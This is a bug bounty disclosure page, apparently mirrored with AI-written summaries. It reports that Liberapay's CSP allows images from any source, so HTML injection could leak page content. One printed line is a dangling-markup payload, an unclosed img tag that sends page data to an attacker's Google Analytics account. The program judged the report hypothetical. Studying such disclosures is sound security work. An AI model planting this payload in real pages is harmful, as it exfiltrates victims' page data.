Current CSP Policy chained with HTML Injection can lead to Data Exfiltration
The CSP policy for en.liberapay.com allows images from any source, including Google Analytics. If the site also has HTML injection, an attacker could use an unclosed img tag to capture subsequent page content and send it to their Google Analytics account.
- Disclosed after 3 days
Summary by the program
In our view, this report was purely hypothetical and we would accept it if someone can demonstrate HTML injection with dangling markup.
The report
Hi Team,
Summary
While reviewing the CSP headers for en.liberapay.com i noticed that img-src has a source set to * which means any source on the internet. The following is found in the current CSP Header config.
img-src * blob: data:
Description:
If the site is vulnerable to HTML Injection its possible to use sources like www.google-analytics.com and inject a malicious html like the below
<img src='https://www.google-analytics.com/collect?v=1&tid=UA-55300588-1&cid=3121525717&t=event&ec=email&el=2111515817&cs=newsletter&cm=email&cn=062413&cm1=1&ea=
If you notice the injected img src attribute i dint close the tag, so eventually a tag with an unclosed quote will capture all output up to the next matching quote. This could include security sensitive content on pages. If a victim opens any such injected page, his information from the html response will be send to attackers google-analytics account as a get request due to the injected <img src> tag. Attacker can login into his analytics account and review all log event actions and he will have the html responses of all the victims visited.
Mitigation:
If you feel that the site doesn't need to load images from google-analytics, remove the google-analytics from the img-src attribute of the CSP. Alternatively if you feel you need it then It is recommended to remove google-analytics from the img-src attribute and use it on connect-src and use XHR based approach - (https://developers.google.com/analytics/devguides/collection/analyticsjs/sending-hits#specifying_different_transport_mechanisms)
References:
Github https://githubengineering.com/githubs-post-csp-journey Hackerone https://hackerone.com/reports/199779 Detectify (good explanation) https://labs.detectify.com/2018/01/19/google-analytics-data-extraction
Impact
This CSP bypass vector can be used to leverage attacks like sensitive data-exfiltration , cross site script include resulting in malicious java-script execution etc.
Regards, Nthack
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the CSP img-src directive uses a wildcard (*), allowing images from any domain, which combined with HTML injection enables data exfiltration via dangling markup.
Impact
This CSP bypass vector could be used to leverage attacks like sensitive data exfiltration and cross-site script inclusion, but the report is theoretical and requires HTML injection to be present.
What the attacker needed
HTML injection vulnerability; victim visits injected page
The fix
The img-src directive should be restricted to trusted sources, removing the wildcard and Google Analytics if not needed, or using connect-src with XHR instead.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website uses a security rule called CSP to control which external resources it can load. Here, the rule allows images from any website, including Google Analytics. If an attacker can also inject HTML into a page, they could add an image tag that never closes, causing the browser to treat the rest of the page as part of the image URL and send it to the attacker's analytics account.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.